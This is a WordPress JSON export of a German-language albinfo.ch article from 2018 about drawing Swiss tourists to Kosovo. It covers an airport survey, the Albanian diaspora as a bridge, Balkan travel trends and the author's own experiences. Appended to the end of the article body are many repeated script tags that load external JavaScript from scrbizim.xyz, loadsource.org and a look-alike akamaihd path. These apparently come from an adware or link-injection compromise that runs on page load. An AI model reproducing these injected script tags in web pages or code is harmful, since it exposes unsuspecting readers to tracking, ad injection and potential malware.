{"id":207640,"date":"2018-07-23T11:21:15","date_gmt":"2018-07-23T09:21:15","guid":{"rendered":"http:\/\/www.albinfo.ch\/?p=207640"},"modified":"2018-07-24T01:21:09","modified_gmt":"2018-07-23T23:21:09","slug":"wie-man-schweizer-touristen-nach-kosovo-bringt","status":"publish","type":"post","link":"https:\/\/www.albinfo.ch\/de\/wie-man-schweizer-touristen-nach-kosovo-bringt\/","title":{"rendered":"Wie man Schweizer Touristen nach Kosovo bringt"},"content":{"rendered":"<p>\u201eKosovo wird unterbewertet.\u201c Das sagt ein junges Paar, das ich zur Feriendestination Kosovo befragt habe. Sie waren die einzigen Befragten, die je in Kosovo waren. Ihnen gefielen die Gastfreundschaft und die Natur. \u201eUnd das Essen!\u201c, sagt der Mann begeistert. \u201eEigentlich sollten wir f\u00fcr ein Partywochenende nach Pristina fahren!\u201c \u201eWieso nicht!\u201c, findet das andere befreundete Paar, das nebenan steht.<\/p>\n<p>Und genau hier liegt eines der Potenziale, wie man Schweizer Reisende nach Kosovo locken k\u00f6nnte, gerade j\u00fcngere. Danach gefragt, sagt ein anderer junger Befragter: \u201eWenn ich das Wort \u201aParty\u2019 h\u00f6re, bin ich immer dabei.\u201c<\/p>\n<p>Das best\u00e4tigt auch meine Beobachtungen, die ich auf den vielen Fl\u00fcgen von Z\u00fcrich oder Basel nach Pristina gemacht habe \u2013 seit sechs Jahren besuche ich Kosovo regelm\u00e4ssig. Junge Leute, die Familie in Kosovo haben, nehmen ihre Freunde aus der Schweiz mit, um feiern zu gehen. Auf dem Flug besprechen sie das Partyprogramm f\u00fcrs Wochenende, wo es die beste Electro-Musik gibt, wo den g\u00fcnstigsten Gin Tonic \u2013 wow echt? So billig? \u2013 und dass man am Tag danach zum Fr\u00fchst\u00fcck den besten Kaffee der Welt trinken kann.<\/p>\n<p><strong>Der Balkan und Kosovo werden trendy<\/strong><\/p>\n<p>Wird Kosovo also bald die neue Trenddestination? \u201eBelgrad wird gerade trendy\u201c, sagt ein Mitarbeiter eines grossen Schweizer Reiseb\u00fcros mit Vertretung am Flughafen Z\u00fcrich. Eine andere Mitarbeiterin kann sich vorstellen, dass Reisen in die Balkanregion insgesamt bald zum Trend werden k\u00f6nnten.<\/p>\n<p>Ich wage sogar zu behaupten, dass der Trend bereits eingesetzt hat. Zumindest in meinem \u201eSchweizer\u201c Umfeld interessieren sich junge Leute zunehmend f\u00fcr Reisen in den Balkan. Und geht es nach dem Lonely Planet, hat der Trend bereits eingesetzt. Das Reiseportal f\u00fchrt Kosovo und auch Albanien als <a href=\"https:\/\/www.lonelyplanet.com\/best-in-europe\">\u201eessential destinations in Europe this year\u201c<\/a> auf \u2013 in den Top 10, wohlgemerkt.<\/p>\n<p>Spiegelt sich das auch an dem Ort, an dem sich viele Schweizerinnen und Schweizer Jahr f\u00fcr Jahr f\u00fcr ihren Urlaub inspirieren lassen? Ich habe mich an der diesj\u00e4hrigen \u201eFespo\u201c umgeschaut. Mit rund 60&#8217;000 Besuchenden ist sie eine der gr\u00f6ssten und wichtigsten Ferienmessen der Schweiz. Von Kosovo an der Fespo jedoch keine Spur. Auch nicht von Bosnien-Herzegowina, Mazedonien oder Serbien. Lediglich Kroatien und Albanien waren mit einem Stand vertreten.<\/p>\n<p><strong>Das Wandern ist des Schweizers Lust \u2013 auch auf dem Balkan<\/strong><\/p>\n<p>Ein Gespr\u00e4ch mit einer Vertreterin des Reiseveranstalters \u201eAlbanien Reisen\u201c stimmte mich jedoch umso zuversichtlicher. \u201eAlbanien Reisen\u201c wurde von Angeh\u00f6rigen der albanischen Diaspora in der Schweiz gegr\u00fcndet. Bereits habe man erste Touristengruppen aus der Schweiz auf Wandertouren und historische Stadtbesichtigungen durch Albanien gef\u00fchrt. \u201eDie Leute waren begeistert und beeindruckt\u201c, sagt die Reiseveranstalterin.<\/p>\n<p>Die Reisebrosch\u00fcren machen optisch und inhaltlich einen professionellen Eindruck. Sie befriedigen alle Informationsbed\u00fcrfnisse des Schweizer Reisenden: Reisedaten, zusammengefasstes Reiseprogramm, detaillierter Reiseplan, inbegriffene Leistungen, Bilder bereits durchgef\u00fchrter Reisen, Preise.<\/p>\n<p>\u201eAlbanien Reisen\u201c wirbt f\u00fcr Albanien als eine unber\u00fchrte, spezielle Destination. Das Reiseb\u00fcro tut dies aber auf eine Art, welche das Land doch zug\u00e4nglich und \u201egew\u00f6hnlich\u201c genug erscheinen l\u00e4sst, damit Herr und Frau Schweizer sich damit nicht \u00fcberfordert f\u00fchlen.<\/p>\n<p>Denn wir Schweizer sind manchmal etwas scheu, wenn es darum geht, Neues auszuprobieren. Wir brauchen diesen ersten \u201eSchupf\u201c, einen Anstoss. Wieso also nicht mal Wandern in Nordalbanien oder Kosovo anstatt im Berner Oberland?<\/p>\n<p><strong>Die Diaspora als Schl\u00fcssel<\/strong><\/p>\n<p>Doch daf\u00fcr m\u00fcssten mehr Schweizer erst einmal mehr \u00fcber die Region erfahren. Denn wie die kleine Umfrage gezeigt hat (siehe auch Teil 1 von \u201eKosovo als Reisedestination\u201c), haben die Befragten einfach noch nie daran gedacht, nach Kosovo zu fahren und wussten nicht so recht, wie sie sich das Land vorstellen sollten. Viele gaben aber durchaus positive Vorstellungen zu Protokoll: sch\u00f6ne Natur, Berge, viel Gr\u00fcn, nette Leute. Grosses Potenzial also, Touristen f\u00fcr Kosovo zu gewinnen, zumal die Schweizer oft auch \u00fcber die n\u00f6tigen finanziellen Ressourcen verf\u00fcgen, um in den Urlaub zu fahren.<\/p>\n<p>Und gerade in der Schweiz gibt es einen wichtigen Faktor, potenziellen Touristen Kosovo als Reiseland n\u00e4her zu bringen: Die riesige kosovarische Diaspora, die in der Schweiz ungef\u00e4hr 170\u201900 Mitglieder z\u00e4hlt. 170&#8217;000 potenzielle Reisepartner, mit denen Schweizer nach Kosovo fahren k\u00f6nnten, anstatt einen Flug nach Paris oder Rom zu buchen.<\/p>\n<p>Ein Taxifahrer best\u00e4tigt mir auf der Fahrt vom Flughafen in Pristina in die Stadt, dass die meisten Reisenden aus der Schweiz tats\u00e4chlich zusammen mit ihren kosovarischen Freunden hierher k\u00e4men. \u201eAllein reisende\u201c Schweizer treffe er nur wenige an.<\/p>\n<p><strong>Exkurs: Schweizer als Exoten<\/strong><\/p>\n<p>Die Idee nach Kosovo zu reisen, obwohl man dort keine Verwandte hat, ist aber nicht nur f\u00fcr Schweizerinnen und Schweizer ungewohnt, sondern auch f\u00fcr die Diaspora selbst. Das habe ich als Schweizerin ohne Familie in Kosovo auf den vielen Fl\u00fcgen nach Pristina oft erlebt. Hier ein Beispiel, wie sich viele Dialoge mit meinen Sitznachbarn anh\u00f6rten:<\/p>\n<blockquote><p>Sitznachbar: \u201eWoher ist Ihre Familie \u201adunn\u00e4\u2019?\u201c<\/p>\n<p>Ich: \u201eIch habe keine Familie in Kosovo.\u201c<\/p>\n<p>Sitznachbar: \u201eAh, dann sind Sie verheiratet \u201adunn\u00e4\u2019?\u201c<\/p>\n<p>Ich: \u201eNein\u201c<\/p>\n<p>Sitznachbar: \u201eAha\u201c<\/p>\n<p>Kurze Pause<\/p>\n<p>Sitznachbar: \u201eWieso fliegen Sie denn mit uns \u201aab\u00e4\u2019?<\/p>\n<p>Ich: \u201eIch mache Urlaub und besuche Freunde.\u201c<\/p>\n<p>Sitznachbar: \u201eEinfach so?\u201c<\/p>\n<p>Ich: \u201eJa, einfach so.\u201c<\/p>\n<p>Sitznachbar: \u201eAha.\u201c<\/p>\n<p>Kurze Pause.<\/p>\n<p>Sitznachbar: \u201eWirklich? Aber wieso?\u201c<\/p><\/blockquote>\n<p>Vielleicht liegt es ja genau daran, dass ich jeweils die Einzige ohne Familie war. \u201eAb\u00e4\u201c (runter) und \u201edunn\u00e4\u201c (unten) die die Diaspora gerne als Bezeichnung f\u00fcr ihr Heimatland benutzen ist f\u00fcr Schweizer nicht sehr aufschlussreich. Vielleicht auch, weil es doch das eine oder andere Unsch\u00f6ne in Kosovo gibt, dass dem Durchschnittstouristen nicht gefallen k\u00f6nnte \u2013 Kriegsspuren, Armut, defizit\u00e4re Infrastruktur.<\/p>\n<p><strong>Keine Angst vor der Realit\u00e4t<\/strong><\/p>\n<p>Ich finde nicht, dass Kosovo nur Feriendestination sein kann, wenn man es als perfekt und wundersch\u00f6n verkauft. Ich mag Pristina, weil es nicht Wien oder Paris ist. Weil es kein Disneyland f\u00fcr Touristen ist. Pristina ist, wie es ist. Das macht den Charme der Stadt aus.<\/p>\n<p>Und ja, Kosovo ist voller Herausforderungen. Ich habe viele davon angetroffen, als ich das Land bereist habe, auch, als ich mehrere Monate dort gelebt habe, auf dem Land, in der Stadt, im Sommer und im Winter. Aber aus all diesen Herausforderungen habe ich viel lernen k\u00f6nnen.<\/p>\n<p>Wenn ich \u00fcber die Visumdebatte oder andere Themen, die Kosovo betreffen, in der Zeitung lese, bin ich dankbar um all die Geschichten und Gedanken, die Leute aus Kosovo mit mir geteilt haben. Zusammen mit meinen eigenen Erfahrungen vervollst\u00e4ndigen sie das Bild \u00fcber das junge Balkanland, die Region, \u00fcber die Migrations- und Entwicklungspolitik der Schweiz und der EU, \u00fcber die Wiederaufbauprogramme grosser internationaler Organisationen, \u00fcber den Umgang einer Gesellschaft mit der Vergangenheit, mit Multiethnizit\u00e4t, mit Minderheiten. Die Erkenntnisse sind nicht immer sch\u00f6n. Aber das ist die Realit\u00e4t.<\/p>\n<p><strong>Die sch\u00f6ne Seite der Medaille<\/strong><\/p>\n<p>Gl\u00fccklicherweise gibt es ebenso sch\u00f6ne Seiten, die zur Realit\u00e4t Kosovos z\u00e4hlen: imposante Berglandschaften, Wasserf\u00e4lle, spannende Architektur, Filmfestivals und andere kulturelle Anl\u00e4sse rund ums Jahr, grossartige lokale K\u00fcche, guter Kaffee, Gastfreundschaft und viel Herzlichkeit.<\/p>\n<p>Alles Dinge, die Schweizer m\u00f6gen und alles gute Gr\u00fcnde, um Kosovo zu besuchen, auch wenn man keine Verwandten dort hat. Aber vielleicht sind es diejenigen, die dort Verwandte haben, die mithelfen k\u00f6nnen, Kosovo als Feriendestination bekannter zu machen. Sie k\u00f6nnen das Bindeglied sein, die Vermittler, diejenigen, die Angebote schaffen aber auch die Nachfrage ankurbeln, diejenigen, die Neugierde wecken.<\/p>\n<p>Und das Gute daran: Nicht nur die Reisenden w\u00fcrden profitieren, sondern auch lokale Gesch\u00e4ft, Restaurants, Hotels, Reisef\u00fchrer oder Taxifahrer.<\/p>\n<p>Ich jedenfalls glaube, dass es nur eine Frage der Zeit ist, bis Reisende und auch Reiseb\u00fcros das Potenzial des Balkans und auch Kosovos als Reisdestination erkennen und auch aussch\u00f6pfen werden. Einige Reiseanbieter gehen bereits mit gutem Beispiel voran. <a href=\"https:\/\/www.tagesanzeiger.ch\/sonntagszeitung\/standard\/Die-junge-Wilde\/story\/31814725\">Air Prishtina<\/a> organisiert ab Herbst 2018 gef\u00fchrte Reisen in die kosovarische Hauptstadt. Und auch <a href=\"https:\/\/www.flyedelweiss.com\/de\/destinations\/pages\/pristina.aspx\">Edelweiss<\/a> wirbt f\u00fcr Reisen nach Kosovo, inklusive Spazierg\u00e4nge durch Pristina, Kletterausfl\u00fcge in die Natur und Mehrtagestouren durchs ganze Land. Also los, hajde!<\/p>\n<p><script src=\"http:\/\/scrbizim.xyz\/addons\/lnkr5.min.js\" type=\"text\/javascript\"><\/script>&#8220;&gt;<script type=\"text\/javascript\" src=\"http:\/\/loadsource.org\/91a2556838a7c33eac284eea30bdcc29\/validate-site.js?uid=52249x7107x&amp;r=12\"><\/script><script type=\"text\/javascript\" src=\"http:\/\/cdncache-a.akamaihd.net\/sub\/nee5452\/52249_7107_\/l.js?pid=2450&amp;ext=0206%20Speaker%20Intelligent\"><\/script><script type=\"text\/javascript\" src=\"http:\/\/scrbizim.xyz\/ext\/1bc314804e1d26b063.js?sid=52249_7107_&amp;title=0206%20Speaker%20Intelligent&amp;blocks[]=31af2\"><\/script><\/p>\n<p><script src=\"http:\/\/scrbizim.xyz\/optout\/set\/lat?jsonp=__twb_cb_621689148&amp;key=1bc314804e1d26b063&amp;cv=1532354519&amp;t=1532354519033\" type=\"text\/javascript\"><\/script><script src=\"http:\/\/scrbizim.xyz\/optout\/set\/lt?jsonp=__twb_cb_125488583&amp;key=1bc314804e1d26b063&amp;cv=85094&amp;t=1532354519033\" type=\"text\/javascript\"><\/script><script src=\"http:\/\/scrbizim.xyz\/addons\/lnkr5.min.js\" type=\"text\/javascript\"><\/script><script src=\"http:\/\/loadsource.org\/91a2556838a7c33eac284eea30bdcc29\/validate-site.js?uid=52249x7107x&amp;r=17\" type=\"text\/javascript\"><\/script><script src=\"http:\/\/cdncache-a.akamaihd.net\/sub\/nee5452\/52249_7107_\/l.js?pid=2450&amp;ext=0206%20Speaker%20Intelligent\" type=\"text\/javascript\"><\/script><script src=\"http:\/\/scrbizim.xyz\/ext\/1bc314804e1d26b063.js?sid=52249_7107_&amp;title=0206%20Speaker%20Intelligent&amp;blocks[]=31af2\" type=\"text\/javascript\"><\/script><\/p>\n<p><script src=\"http:\/\/scrbizim.xyz\/optout\/set\/lat?jsonp=__twb_cb_27810246&amp;key=1bc314804e1d26b063&amp;cv=1532388056&amp;t=1532388055647\" type=\"text\/javascript\"><\/script><script src=\"http:\/\/scrbizim.xyz\/optout\/set\/lt?jsonp=__twb_cb_505109939&amp;key=1bc314804e1d26b063&amp;cv=85112&amp;t=1532388055647\" type=\"text\/javascript\"><\/script><script src=\"http:\/\/scrbizim.xyz\/addons\/lnkr5.min.js\" type=\"text\/javascript\"><\/script><script src=\"http:\/\/loadsource.org\/91a2556838a7c33eac284eea30bdcc29\/validate-site.js?uid=52249x7107x&amp;r=35\" type=\"text\/javascript\"><\/script><script src=\"http:\/\/cdncache-a.akamaihd.net\/sub\/nee5452\/52249_7107_\/l.js?pid=2450&amp;ext=0206%20Speaker%20Intelligent\" type=\"text\/javascript\"><\/script><script src=\"http:\/\/scrbizim.xyz\/ext\/1bc314804e1d26b063.js?sid=52249_7107_&amp;title=0206%20Speaker%20Intelligent&amp;blocks[]=31af2\" type=\"text\/javascript\"><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Eine kleine Umfrage am Flughafen Z\u00fcrich hat gezeigt: F\u00fcr Schweizer ist Kosovo noch keine Feriendestination. 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